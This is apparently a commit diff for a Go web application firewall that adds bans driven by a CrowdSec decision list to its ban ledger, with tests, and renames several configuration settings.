those `waf` made. Per entry: those `waf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit` or `admin`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
- `reason`: a short reason; - `reason`: a short reason;
- `lifted`: when an admin lifted it, if one did; - `lifted`: when an admin lifted it, if one did;
- `notes`: the notes below. - `notes`: the notes below.
internal/alerts/alerts.go
+4 -3
View File
@@ -45,11 +45,12 @@ const (
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode. // detect mode.
EventCoreRuleSetMatch = "core_rule_set_match" EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist or a DNSBL // EventReputationHit is a request whose client a blocklist, the
// zone lists, or whose AbuseIPDB score is a hit. // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
EventReputationHit = "reputation_hit" EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing sww, a fetch // EventSourceFailure is GeoJS failing or refusing sww, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
internal/anomaly/anomaly.go
+7 -7
View File
@@ -37,7 +37,7 @@ const (
ScopeASN = "asn" ScopeASN = "asn"
// ScopeTotal is the whole service. // ScopeTotal is the whole service.
ScopeTotal = "total" ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS. // ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
ScopeWatchedNet = "watched_net" ScopeWatchedNet = "watched_net"
) )
@@ -68,7 +68,7 @@ type Thresholds struct {
BytesPerHour int64 BytesPerHour int64
} }
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names. // NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
type NamedNetblock struct { type NamedNetblock struct {
Name string Name string
Netblock netip.Prefix Netblock netip.Prefix
@@ -78,12 +78,12 @@ type NamedNetblock struct {
type Params struct { type Params struct {
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*, // The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and // SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWW_WAF_ANOMALY_WATCHED_NET_*. // SWW_WAF_WATCH_*.
Client, Net, ASN, Total, WatchedNet Thresholds Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX). // client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS. // NamedNetblocks are SWW_WAF_WATCH_NETS.
NamedNetblocks []NamedNetblock NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts. // Alerts receive the anomaly alerts.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -119,7 +119,7 @@ type Request struct {
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
// unknown. // unknown.
ASN, ASName, Country string ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them. // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
Bytes int64 Bytes int64
} }
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
scope: ScopeWatchedNet, scope: ScopeWatchedNet,
netblock: named.Netblock, netblock: named.Netblock,
name: named.Name, name: named.Name,
}, p.WatchedNet, }, p.Watch,
}) })
} }
} }
internal/anomaly/anomaly_test.go
+1 -1
View File
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1} overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
counters := anomaly.New(anomaly.Params{ counters := anomaly.New(anomaly.Params{
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond, Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
Total: overAtTheSecond, WatchedNet: overAtTheSecond, Total: overAtTheSecond, Watch: overAtTheSecond,
// The netblock around a client is the client's own, and two names // The netblock around a client is the client's own, and two names
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
internal/bans/bans.go
+111 -38
View File
@@ -1,8 +1,10 @@
// Package bans is the ban ledger: the bans sww makes on the // Package bans is the ban ledger: the bans sww makes on the
// netblocks of clients that break a rate limit, a byte limit or the refusal // netblocks of clients that break a rate limit, a byte limit or the error
// limit or show a clear sign of attack, and those an admin makes, with their // burst, show a clear sign of attack or are listed by the CrowdSec
// notes, as the "Bans" section of SPEC.md describes. The bans are kept in // decision list, and
// memory, and written to bans.json and read from it by the state package. // those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
package bans package bans
import ( import (
@@ -26,6 +28,9 @@ const (
// CauseAdmin is a ban an admin made, or one sww made that an // CauseAdmin is a ban an admin made, or one sww made that an
// admin keeps. It is never dropped. // admin keeps. It is never dropped.
CauseAdmin = "admin" CauseAdmin = "admin"
// CauseCrowdSec is a ban sww made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
) )
// repeatFactor is how many times as long as the netblock's last ban a ban // repeatFactor is how many times as long as the netblock's last ban a ban
@@ -40,13 +45,13 @@ type Params struct {
// LimitBanDuration is how long a first ban for a broken limit lasts. // LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's // LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack, a // ban that ended last, other than one for a clear sign of attack or for
// broken limit counts as a repeat, which bans for // CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban. // repeatFactor times as long as that ban.
LimitBanRepeatWindow time.Duration LimitBanRepeatWindow time.Duration
// A ban for a broken limit that would be longer than // MaxBanDuration is the longest ban for a broken limit; one that would
// LimitBanPermanentAbove is permanent instead. // be longer is permanent instead.
LimitBanPermanentAbove time.Duration MaxBanDuration time.Duration
// AttackBanDuration is how long a first ban for a clear sign of attack // AttackBanDuration is how long a first ban for a clear sign of attack
// lasts. // lasts.
AttackBanDuration time.Duration AttackBanDuration time.Duration
@@ -63,10 +68,11 @@ type Ban struct {
Start time.Time Start time.Time
// Expires is when the ban ends, zero for a permanent ban. // Expires is when the ban ends, zero for a permanent ban.
Expires time.Time Expires time.Time
// Cause is CauseLimit, CauseAttack or CauseAdmin. // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
Cause string Cause string
// Reason is a short text: for a ban sww made, the limit broken or // Reason is a short text: for a ban sww made, the limit broken,
// the rule that matched; for an admin's, what the admin wrote. // the rule that matched or the scenario of CrowdSec's decision; for an
// admin's, what the admin wrote.
Reason string Reason string
// Lifted is when an admin lifted the ban, zero while no admin has. A // Lifted is when an admin lifted the ban, zero while no admin has. A
// lifted ban refuses nothing, and does not make the netblock's next // lifted ban refuses nothing, and does not make the netblock's next
@@ -99,7 +105,7 @@ type Notes struct {
Country string `json:"country"` Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit, // Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a // what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the refusal limit, the limit that was // byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached: // broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the // the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included. // request that broke the limit included.
@@ -127,7 +133,8 @@ type Notes struct {
// log's reputation names them. It is left out when none did. // log's reputation names them. It is left out when none did.
Reputation []ReputationHit `json:"reputation,omitempty"` Reputation []ReputationHit `json:"reputation,omitempty"`
// Request is the request that broke the limit, or whose bytes broke // Request is the request that broke the limit, or whose bytes broke
// it, or that was the clear sign of attack. // it, that was the clear sign of attack, or that came from a client the
// CrowdSec decision list lists.
Request Request `json:"request"` Request Request `json:"request"`
// Requests is how many requests the netblock has sent since it was // Requests is how many requests the netblock has sent since it was
// first seen, and Refused how many of them the ban has refused so // first seen, and Refused how many of them the ban has refused so
@@ -141,8 +148,9 @@ type Notes struct {
// ReputationHit is a reputation source that listed a client, as a // ReputationHit is a reputation source that listed a client, as a
// reputation_hit alert's detail gives it: Source is the URL of the // reputation_hit alert's detail gives it: Source is the URL of the
// blocklist, the DNSBL zone with its key masked, or "abuseipdb", and Score, // blocklist or of the CrowdSec decision list, the DNSBL zone with its key
// for AbuseIPDB alone, its score of the client. // masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
// client.
type ReputationHit struct { type ReputationHit struct {
Source string `json:"source"` Source string `json:"source"`
Score *int64 `json:"score,omitempty"` Score *int64 `json:"score,omitempty"`
@@ -153,6 +161,7 @@ type EarlierBans struct {
Limit int `json:"limit"` Limit int `json:"limit"`
Attack int `json:"attack"` Attack int `json:"attack"`
Admin int `json:"admin"` Admin int `json:"admin"`
CrowdSec int `json:"crowdsec"`
} }
// Request is a request in a ban's notes. Each text is cut to 256 bytes. // Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -294,9 +303,10 @@ func activeBan(bans []Ban, now time.Time) *Ban {
// BanForLimit bans netblock at now for a broken limit, with notes, and // BanForLimit bans netblock at now for a broken limit, with notes, and
// returns the ban, and true. A first ban lasts LimitBanDuration. A ban // returns the ban, and true. A first ban lasts LimitBanDuration. A ban
// made within LimitBanRepeatWindow after the netblock's ban that ended // made within LimitBanRepeatWindow after the netblock's ban that ended
// last, other than one for a clear sign of attack or a lifted one, lasts // last, other than one for a clear sign of attack or for CrowdSec's
// decision, or a lifted one, lasts
// repeatFactor times as long as that one. A ban that would be longer // repeatFactor times as long as that one. A ban that would be longer
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still // than MaxBanDuration is permanent instead. If a ban on netblock is still
// active, as when two of its requests break a limit at once, that ban is // active, as when two of its requests break a limit at once, that ban is
// returned with false, and no other is made. The ledger fills in the // returned with false, and no other is made. The ledger fills in the
// notes' Refused and EarlierBans itself, and gives the ban the reason // notes' Refused and EarlierBans itself, and gives the ban the reason
@@ -308,6 +318,7 @@ func (l *Ledger) BanForLimit(
return l.ban( return l.ban(
netblock, netblock,
now, now,
time.Time{},
CauseLimit, CauseLimit,
limitReason(notes), limitReason(notes),
notes, notes,
@@ -323,6 +334,7 @@ func (l *Ledger) WouldBanForLimit(
return l.ban( return l.ban(
netblock, netblock,
now, now,
time.Time{},
CauseLimit, CauseLimit,
limitReason(notes), limitReason(notes),
notes, notes,
@@ -341,6 +353,7 @@ func (l *Ledger) BanForAttack(
return l.ban( return l.ban(
netblock, netblock,
now, now,
time.Time{},
CauseAttack, CauseAttack,
attackReason(notes), attackReason(notes),
notes, notes,
@@ -356,6 +369,7 @@ func (l *Ledger) WouldBanForAttack(
return l.ban( return l.ban(
netblock, netblock,
now, now,
time.Time{},
CauseAttack, CauseAttack,
attackReason(notes), attackReason(notes),
notes, notes,
@@ -363,9 +377,51 @@ func (l *Ledger) WouldBanForAttack(
) )
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
// or CauseAttack, made at now would be permanent, as BanForLimit or // decision on the client ends, with notes, and returns the ban, and
// BanForAttack would make it. It works out nothing else of the ban. // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
}
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) {
return l.ban(
netblock,
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
}
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
// CauseAttack or CauseCrowdSec, made at now would be permanent, as
// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
// nothing else of the ban. A ban for CrowdSec's decision is never
// permanent: it ends with the decision.
func (l *Ledger) WouldBePermanent( func (l *Ledger) WouldBePermanent(
netblock netip.Prefix, now time.Time, cause string, netblock netip.Prefix, now time.Time, cause string,
) bool { ) bool {
@@ -377,11 +433,14 @@ func (l *Ledger) WouldBePermanent(
held = *bans held = *bans
} }
if cause == CauseAttack { switch cause {
case CauseAttack:
return l.attackExpiry(held, now).IsZero() return l.attackExpiry(held, now).IsZero()
} case CauseLimit:
return l.limitExpiry(held, now).IsZero() return l.limitExpiry(held, now).IsZero()
default: // CauseCrowdSec
return false
}
} }
// limitReason is the reason of a ban for a broken limit, with notes. // limitReason is the reason of a ban for a broken limit, with notes.
@@ -400,6 +459,12 @@ func attackReason(notes Notes) string {
return "matched the rule " + notes.RuleID return "matched the rule " + notes.RuleID
} }
// crowdSecReason is the reason of a ban for CrowdSec's decision, which
// scenario made.
func crowdSecReason(scenario string) string {
return "CrowdSec's decision for " + scenario
}
// BanForAdmin bans netblock at now for an admin, with reason, until // BanForAdmin bans netblock at now for an admin, with reason, until
// expires, or for good when expires is zero, and returns the ban, whose // expires, or for good when expires is zero, and returns the ban, whose
// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -639,13 +704,15 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
}) })
} }
// ban bans netblock at now for cause, CauseLimit or CauseAttack, with // ban bans netblock at now for cause, with reason and notes, as
// reason and notes, as BanForLimit and BanForAttack describe, and returns // BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
// the ban, and whether it made it. Unless keep is true, the ban is not // ban, and whether it made it. expires is when a ban for CauseCrowdSec
// made, only returned: it is the ban that would have been made. // ends, and zero for the others, whose end the ledger works out. Unless
// keep is true, the ban is not made, only returned: it is the ban that
// would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, netblock netip.Prefix,
now time.Time, now, expires time.Time,
cause, reason string, cause, reason string,
notes Notes, notes Notes,
keep bool, keep bool,
@@ -676,10 +743,13 @@ func (l *Ledger) ban(
Notes: notes, Notes: notes,
} }
if cause == CauseAttack { switch cause {
case CauseAttack:
ban.Expires = l.attackExpiry(held, now) ban.Expires = l.attackExpiry(held, now)
} else { case CauseLimit:
ban.Expires = l.limitExpiry(held, now) ban.Expires = l.limitExpiry(held, now)
default: // CauseCrowdSec
ban.Expires = expires
} }
if !keep { if !keep {
@@ -714,6 +784,8 @@ func earlierBans(held []Ban) EarlierBans {
fromHere.Attack++ fromHere.Attack++
case CauseAdmin: case CauseAdmin:
fromHere.Admin++ fromHere.Admin++
case CauseCrowdSec:
fromHere.CrowdSec++
} }
notes := ban.Notes.EarlierBans notes := ban.Notes.EarlierBans
@@ -721,6 +793,7 @@ func earlierBans(held []Ban) EarlierBans {
Limit: notes.Limit + fromHere.Limit, Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack, Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin, Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
} }
// Of counts that name as many bans, the earlier ban's is taken: it // Of counts that name as many bans, the earlier ban's is taken: it
@@ -735,7 +808,7 @@ func earlierBans(held []Ban) EarlierBans {
// total returns how many bans e counts, of all causes. // total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int { func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin return e.Limit + e.Attack + e.Admin + e.CrowdSec
} }
// markChanged has Changed receive a value, unless one is waiting already. // markChanged has Changed receive a value, unless one is waiting already.
@@ -840,9 +913,9 @@ func (l *Ledger) add(ban Ban) {
// limitExpiry returns when a ban for a broken limit made at now ends, or // limitExpiry returns when a ban for a broken limit made at now ends, or
// zero when it is permanent. held are the netblock's bans, none of them // zero when it is permanent. held are the netblock's bans, none of them
// active, of which the one that ended last, other than a ban for a clear // active, of which the one that ended last, other than a ban for a clear
// sign of attack or a lifted one, can make the new ban longer. A ban an // sign of attack or for CrowdSec's decision, or a lifted one, can make the
// admin adds to bans.json can start after another and end before it, so // new ban longer. A ban an admin adds to bans.json can start after
// that one is looked for among them all. // another and end before it, so that one is looked for among them all.
func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
length := l.params.LimitBanDuration length := l.params.LimitBanDuration
@@ -859,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
if last != nil && if last != nil &&
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow { now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor { if lastLength > l.params.MaxBanDuration/repeatFactor {
return time.Time{} return time.Time{}
} }
length = repeatFactor * lastLength length = repeatFactor * lastLength
} }
if length > l.params.LimitBanPermanentAbove { if length > l.params.MaxBanDuration {
return time.Time{} return time.Time{}
} }
internal/bans/bans_test.go
+8 -8
View File
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
} }
} }
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) { func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params) ledger := bans.New(params)
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
} }
} }
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) { func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel() t.Parallel()
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of // With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// 3^13 hours, is not above it, and three times as long would not fit in // hours, is within the maximum, and three times as long would not fit
// a time.Duration. The 15th is permanent. // in a time.Duration. The 15th is permanent.
params := defaultParams() params := defaultParams()
params.LimitBanPermanentAbove = 100000 * day params.MaxBanDuration = 100000 * day
ledger := bans.New(params) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -652,7 +652,7 @@ func defaultParams() bans.Params {
return bans.Params{ return bans.Params{
LimitBanDuration: time.Hour, LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day, LimitBanRepeatWindow: day,
LimitBanPermanentAbove: 7 * day, MaxBanDuration: 7 * day,
AttackBanDuration: 7 * day, AttackBanDuration: 7 * day,
MaxBans: 5000, MaxBans: 5000,
} }
internal/bans/crowdsec_test.go
+136
View File
@@ -0,0 +1,136 @@
package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// scenario is the scenario of the tests' CrowdSec decisions.
const scenario = "crowdsecurity/ssh-bf"
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf(
"would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan,
ledger.Bans(netblock),
)
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s",
made,
ban,
would,
expires,
)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
}
}
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf(
"as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was",
banned,
held,
madePermanent,
)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
t.Error("the ban refuses a request once the decision has ended")
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
t *testing.T,
) {
t.Parallel()
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(
netblock,
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf(
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit,
)
}
}
internal/config/config.go
+4 -31
View File
@@ -16,7 +16,6 @@ import (
"os" "os"
"strconv" "strconv"
"strings" "strings"
"time"
"github.com/spf13/viper" "github.com/spf13/viper"
) )
@@ -38,8 +37,6 @@ var (
errNotSize = errors.New( errNotSize = errors.New(
"is not a size such as 512K, 100M or 5G, or off") "is not a size such as 512K, 100M or 5G, or off")
errNotPositive = errors.New("must be more than zero, or off") errNotPositive = errors.New("must be more than zero, or off")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errEmptyItem = errors.New("has an empty item in its list") errEmptyItem = errors.New("has an empty item in its list")
errNotNetblock = errors.New( errNotNetblock = errors.New(
"is not a netblock such as 10.0.0.0/8, or an address") "is not a netblock such as 10.0.0.0/8, or an address")
@@ -65,10 +62,10 @@ func Command(v *viper.Viper) (string, error) {
} }
} }
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the // environment is where FromEnvironment reads the settings: it notes each
// settings: it notes each value for the log, and keeps the first error. It // value for the log, and keeps the first error. It reads every setting
// reads every setting through v, the viper NewViper returns, and honours // through v, the viper NewViper returns, and honours each setting's _FILE
// each setting's _FILE form too. // form too.
type environment struct { type environment struct {
v *viper.Viper v *viper.Viper
settings []slog.Attr settings []slog.Attr
@@ -165,19 +162,6 @@ func (e *environment) size(name, defaultValue string) int64 {
return size return size
} }
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// parseSize reads a number of bytes with an optional K, M or G suffix, in // parseSize reads a number of bytes with an optional K, M or G suffix, in
// powers of 1024 (1K is 1024 bytes), or off. // powers of 1024 (1K is 1024 bytes), or off.
func parseSize(value string) (int64, error) { func parseSize(value string) (int64, error) {
@@ -214,17 +198,6 @@ func splitUnit(value string) (string, int64) {
} }
} }
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
// parseList splits a comma-separated list and trims the spaces around // parseList splits a comma-separated list and trims the spaces around
// each item. An empty value is an empty list. // each item. An empty value is an empty list.
func parseList(value string) ([]string, error) { func parseList(value string) ([]string, error) {
internal/config/rproxy.go
+37 -15
View File
@@ -4,6 +4,7 @@ import (
"errors" "errors"
"fmt" "fmt"
"log/slog" "log/slog"
"math"
"net/netip" "net/netip"
"net/url" "net/url"
"strconv" "strconv"
@@ -24,15 +25,13 @@ type RProxy struct {
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND). // WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// WAFBackendTimeout is how long rproxy waits for waf's answer to a // Timeout is how long rproxy waits for waf's answer to a question,
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It // and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
// cannot be off. Timeout time.Duration
WAFBackendTimeout time.Duration // DefaultDisposition is what is done with a request when waf cannot be
// WAFBackendNoAnswerDisposition is what is done with a request when waf // connected to, does not answer at all, or does not answer within Timeout:
// cannot be connected to, does not answer at all, or does not answer // allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
// within WAFBackendTimeout: allow or deny DefaultDisposition string
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
WAFBackendNoAnswerDisposition string
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and // MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE). // MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64 MaxRequestSize int64
@@ -64,6 +63,8 @@ var (
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080") "is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off", "is not a whole number of milliseconds above zero, such as 60000, or off",
) )
@@ -88,12 +89,9 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
privateRanges, privateRanges,
), ),
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"), WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
WAFBackendTimeout: env.milliseconds( Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", DefaultDisposition: env.disposition(
"2000", "SWW_RPROXY_DEFAULT_DISPOSITION",
),
WAFBackendNoAnswerDisposition: env.disposition(
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
"allow", "allow",
), ),
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"), MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
@@ -175,6 +173,19 @@ func (e *environment) disposition(name, defaultValue string) string {
return value return value
} }
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds // millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0. // above zero, or off, which is 0.
